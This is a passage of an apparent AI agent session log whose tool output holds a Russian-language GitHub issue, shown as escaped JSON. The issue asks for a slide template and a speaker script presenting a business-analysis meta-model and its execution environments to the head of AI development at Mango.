**\u043e\u0431\u044f\u0437\u0430\u043d** \u0438\u0437\u0443\u0447\u0438\u0442\u044c \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043e\u0442\u0440\u0430\u0436\u0430\u043b\u0430 \u043d\u0435 \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0442\u043d\u0443\u044e \u0442\u0435\u043e\u0440\u0438\u044e, \u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0443\u044e \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u043e\u0439 \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044e:\\n1. **\u0422\u0435\u043a\u0443\u0449\u0430\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0425\u0430\u0431\u0430:** \\n   - `https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process` (\u0432\u043a\u043b\u044e\u0447\u0430\u044f `docs/adr/`, `docs/analysis/`, `meta-model/`).\\n   - \u041d\u0435\u0434\u0430\u0432\u043d\u0438\u0435 \u0430\u0443\u0434\u0438\u0442\u044b: `https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md`\\n2. **\u041f\u0440\u0435\u0434\u044b\u0441\u0442\u043e\u0440\u0438\u044f \u0438 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0431\u0430\u0437\u0430 (\u0421 \u0447\u0435\u0433\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u0438):**\\n   - \u0420\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 `https://github.com/G-Ivan-A/mango_ba_prompts` (\u0438\u0437\u0443\u0447\u0438\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044e \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0438 \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 60 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0437\u0430\u0434\u0430\u0447, \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u043e\u0442 \u0445\u0430\u043e\u0442\u0438\u0447\u043d\u044b\u0445 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0439 \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u0438).\\n   - \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0411\u0410 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/issue-639-405767e7672e/research/ba-requirements\\n- \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u044f\u0441\u044c \u043f\u043e \u0443\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u044e \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f\\n\\n**\u0426\u0435\u043b\u0438 \u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u044b (\u0427\u0442\u043e \u0434\u043e\u043b\u0436\u043d\u043e \u0431\u044b\u0442\u044c \u0434\u043e\u0441\u0442\u0438\u0433\u043d\u0443\u0442\u043e):**\\n\u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u0442\u044c **\u0434\u0432\u0430 \u0432\u0437\u0430\u0438\u043c\u043e\u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430**, \u043d\u0435 \u0438\u0437\u043e\u0431\u0440\u0435\u0442\u0430\u044f \u0432\u0435\u043b\u043e\u0441\u0438\u043f\u0435\u0434, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043b\u0443\u0447\u0448\u0438\u0435 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0439 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0440\u0438\u043d\u0446\u0438\u043f Assertion-Evidence, \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u0438\u0437\u043c \u0442\u0435\u043a\u0441\u0442\u0430, \u0432\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u0435\u0442\u0430\u0444\u043e\u0440\u0430).\\n\\n**\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 1: \u0428\u0430\u0431\u043b\u043e\u043d \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438 (\u0421\u043b\u0430\u0439\u0434\u044b)**\\n\u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 (\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 \u0438 \u0442\u043e\u0447\u043d\u044b\u0439 \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0441\u0430\u043c \u0434\u043b\u044f \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u043e\u0437\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f):\\n1. **\u041e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f:** \u0411\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437 \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 (\u0432\u044b\u0441\u043e\u043a\u0430\u044f \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u044c, \u043a\u043e\u043c\u043f\u043b\u0430\u0435\u043d\u0441).\\n2. **\u0411\u043e\u043b\u044c:** \u0420\u0430\u0437\u0440\u044b\u0432 \u043c\u0435\u0436\u0434\u0443 \u0441\u044b\u0440\u044b\u043c\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0430\u043c\u0438 \u0438 \u0433\u043e\u0442\u043e\u0432\u044b\u043c \u0422\u0417, \u0440\u0443\u0447\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u0440\u0438\u0441\u043a \u043f\u043e\u0442\u0435\u0440\u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u0432 \u0438 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443.\\n3. **\u041a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438:** \u0421\u0442\u0440\u043e\u0433\u0430\u044f \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u044f: \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192 \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442.\\n4. **\u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0440\u044b\u0432 (\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u2192 \u0420\u0435\u0448\u0435\u043d\u0438\u0435):** \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430: \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u044e\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0418\u0418. \u0420\u0435\u0448\u0435\u043d\u0438\u0435: \u043c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \\\"\u043c\u044b\u0441\u043b\u044c\\\", \u043c\u044b \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u043e\u0431\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u043c \u0438\u0445 \u0432 \u0436\u0435\u0441\u0442\u043a\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0438 \u043c\u0430\u0448\u0438\u043d\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b (fail-closed \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f).\\n5. **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043a\u0430\u043a \u0446\u0435\u043b\u044c (\u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440):** \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u2192 \u0421\u0432\u0435\u0440\u043a\u0430 \u0441 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439/\u043a\u0435\u0439\u0441\u0430\u043c\u0438 \u2192 \u041c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e \u0437\u043e\u043b\u043e\u0442\u044b\u043c \u0448\u0430\u0431\u043b\u043e\u043d\u0430\u043c \u0441\u043e \u0441\u0441\u044b\u043b\u043a\u0430\u043c\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u2192 \u0427\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439 \u0433\u0435\u0439\u0442 (G-human) \u2192 \u0410\u0432\u0442\u043e\u043f\u0435\u0440\u0435\u0432\u043e\u0434 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442 \u0434\u043b\u044f \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430/\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438.\\n6. **\u0421\u0440\u0435\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f:** \u0422\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f (GigaCode CLI / Cline) \u2192 \u0412\u0435\u043a\u0442\u043e\u0440 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f: \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 (\u0421\u0440\u0435\u0434\u0430 4) \u0441 \u0435\u0434\u0438\u043d\u044b\u043c \u044f\u0434\u0440\u043e\u043c-\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u043c.\\n7. **\u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435:** \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u043a\u0430\u043a \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u044f \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443.\\n\\n*\u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043a \u0441\u043b\u0430\u0439\u0434\u0443:* \u041d\u043e\u043c\u0435\u0440, \u0435\u043c\u043a\u0438\u0439 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a-\u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435, 3-5 \u043a\u0440\u0430\u0442\u043a\u0438\u0445 \u0442\u0435\u0437\u0438\u0441\u043e\u0432 (bullet points), \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u0446\u0438\u0442\u0430\u0442\u0430 \u0438\u043b\u0438 \u043a\u043b\u044e\u0447\u0435\u0432\u0430\u044f \u043c\u0435\u0442\u0440\u0438\u043a\u0430, **\u043f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f** (Midjourney/DALL-E \u0441\u0442\u0438\u043b\u044c), \u043e\u0442\u0440\u0430\u0436\u0430\u044e\u0449\u0438\u0439 \u0441\u0443\u0442\u044c \u0441\u043b\u0430\u0439\u0434\u0430.\\n\\n**\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 2: \u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438 (\u0414\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430)**\\n\u0420\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044b\u0439, \u043d\u043e \u0442\u0435\u0437\u0438\u0441\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u0434\u043b\u044f \u0443\u0441\u0442\u043d\u043e\u0433\u043e \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0441\u043b\u0430\u0439\u0434\u0430. \u0414\u043e\u043b\u0436\u0435\u043d \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0442\u044c \\\"\u043f\u043e\u0447\u0435\u043c\u0443\\\" \u0438 \\\"\u043a\u0430\u043a\\\", \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0442\u044c \u0441\u043b\u0430\u0439\u0434\u044b \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u043c\u043e\u0441\u0442\u0438\u043a\u0430\u043c\u0438, \u0434\u0435\u043b\u0430\u0442\u044c \u0430\u043a\u0446\u0435\u043d\u0442 \u043d\u0430 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u043e\u043f\u044b\u0442\u0435 (60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0432 `mango_ba_prompts`) \u0438 \u043e\u0442\u0432\u0435\u0447\u0430\u0442\u044c \u043d\u0430 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f.\\n\\n**\u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0438 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u0438 (Definition of Done):**\\n- [ ] \u0421\u043e\u0437\u0434\u0430\u043d \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 1 (\u0428\u0430\u0431\u043b\u043e\u043d \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438) \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 Markdown, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u0432\u0441\u0435 7 \u0441\u043c\u044b\u0441\u043b\u043e\u0432\u044b\u0445 \u0431\u043b\u043e\u043a\u043e\u0432, \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0434\u043b\u044f \u0432\u0438\u0437\u0443\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0441\u0442\u0440\u043e\u0433\u043e\u0435 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u043e\u0432 \u043b\u0430\u043a\u043e\u043d\u0438\u0447\u043d\u043e\u0441\u0442\u0438.\\n- [ ] \u0421\u043e\u0437\u0434\u0430\u043d \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 2 (\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430), \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e \u043d\u043e\u043c\u0435\u0440\u0430\u043c \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0441 \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u043c 1.\\n- [ ] \u0412 \u0442\u0435\u043a\u0441\u0442\u0430\u0445 \u044f\u0432\u043d\u043e \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u0432\u044f\u0437\u044c \u0441 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u043e\u043c (\u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0425\u0430\u0431\u0430).\\n- [ ] \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u043b\u0443\u0447\u0448\u0438\u0435 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438 (\u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \\\"\u0432\u043e\u0434\u044b\\\", \u0444\u043e\u043a\u0443\u0441 \u043d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u0438 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u043e\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0438, \u0430 \u043d\u0435 \u043d\u0430 \u043c\u0430\u0440\u043a\u0435\u0442\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u043b\u043e\u0437\u0443\u043d\u0433\u0430\u0445).\\n- [ ] \u0412\u0441\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043f\u043e\u043b\u043d\u044b\u043c\u0438 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u043c\u0438 URL.\\n- [ ] \u0417\u0430\u0434\u0430\u0447\u0430 \u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0435\u043d\u0430 \u0432 \u0441\u0442\u0430\u0442\u0443\u0441 `review`.\\n\\n**\u041e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u0438\u044f \u043e\u0442 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 (\u0412\u0430\u0436\u043d\u043e):**\\n\u041f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0437\u0430\u0434\u0430\u0435\u0442 \u0441\u043c\u044b\u0441\u043b\u043e\u0432\u043e\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0442\u0435\u043c\u044b. **\u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435** \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b, \u043a\u0430\u043a\u0438\u0435 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432, \u043a\u0430\u043a \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0434\u043b\u044f \u043a\u0430\u0440\u0442\u0438\u043d\u043e\u043a \u0438 \u043a\u0430\u043a \u0432\u044b\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u043d\u0430\u0440\u0440\u0430\u0442\u0438\u0432 \u0432 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438. \u041c\u0438\u043a\u0440\u043e\u043c\u0435\u043d\u0435\u0434\u0436\u043c\u0435\u043d\u0442 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d. \u041f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 \u2014 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u0430\u044f \u0443\u0431\u0435\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c, \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u0442\u043e\u0447\u043d\u043e\u0441\u0442\u044c \u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u043b\u0443\u0447\u0448\u0438\u043c \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430\u043c \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0438 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432 \u0434\u043b\u044f C-level/Head of AI \u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u0438. \u041c\u044b \u043d\u0435 \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u043c \u0432\u0435\u043b\u043e\u0441\u0438\u043f\u0435\u0434, \u0430 \u0430\u0434\u0430\u043f\u0442\u0438\u0440\u0443\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0444\u043e\u0440\u043c\u0430\u0442\u044b \u043f\u043e\u0434 \u043d\u0430\u0448\u0443 \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0443.\",\n[2026-09-29T07:46:50.347Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:50.347Z] [INFO]       }\n[2026-09-29T07:46:50.347Z] [INFO]     ]\n[2026-09-29T07:46:50.347Z] [INFO]   },\n[2026-09-29T07:46:50.347Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:46:50.347Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:50.347Z] [INFO]   \"uuid\": \"af349380-8da1-4a8f-bfd3-13988456d286\",\n[2026-09-29T07:46:50.347Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:50.028Z\",\n[2026-09-29T07:46:50.347Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:46:50.347Z] [INFO]     \"stdout\": \"title: \\\"[creative/docs] \u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0438 \u0441\u0440\u0435\u0434 \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango\\\"\\n---\\nlabels: \\\"creative, documentation, presentation, executive-summary\\\"\\n---\\n\\n**Operating Mode:** `Creative` \u00b7 **Task Type:** `Documentation/Presentation` \u00b7 **Lead:** Tech Lead / Architect\\n\\n**User Story:**\\n\u041a\u0430\u043a \u0444\u0430\u0443\u043d\u0434\u0435\u0440, \u044f \u0445\u043e\u0447\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u043e\u0444\u0435\u0441\u0441\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432 \u0434\u043b\u044f \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0441\u0440\u0435\u0434 \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u0434 \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u043c \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u043d\u0435\u0441\u0442\u0438 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u0443\u044e \u0437\u0440\u0435\u043b\u043e\u0441\u0442\u044c \u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u0435\u0433\u043e \u0444\u0443\u043d\u0434\u0430\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0442\u043b\u0438\u0447\u0438\u044f \u043e\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u043f\u043e\u0434\u0445\u043e\u0434\u043e\u0432 \u0438 \u0447\u0435\u0442\u043a\u0438\u0439 \u043f\u043b\u0430\u043d \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u043e\u043f\u0438\u0440\u0430\u044f\u0441\u044c 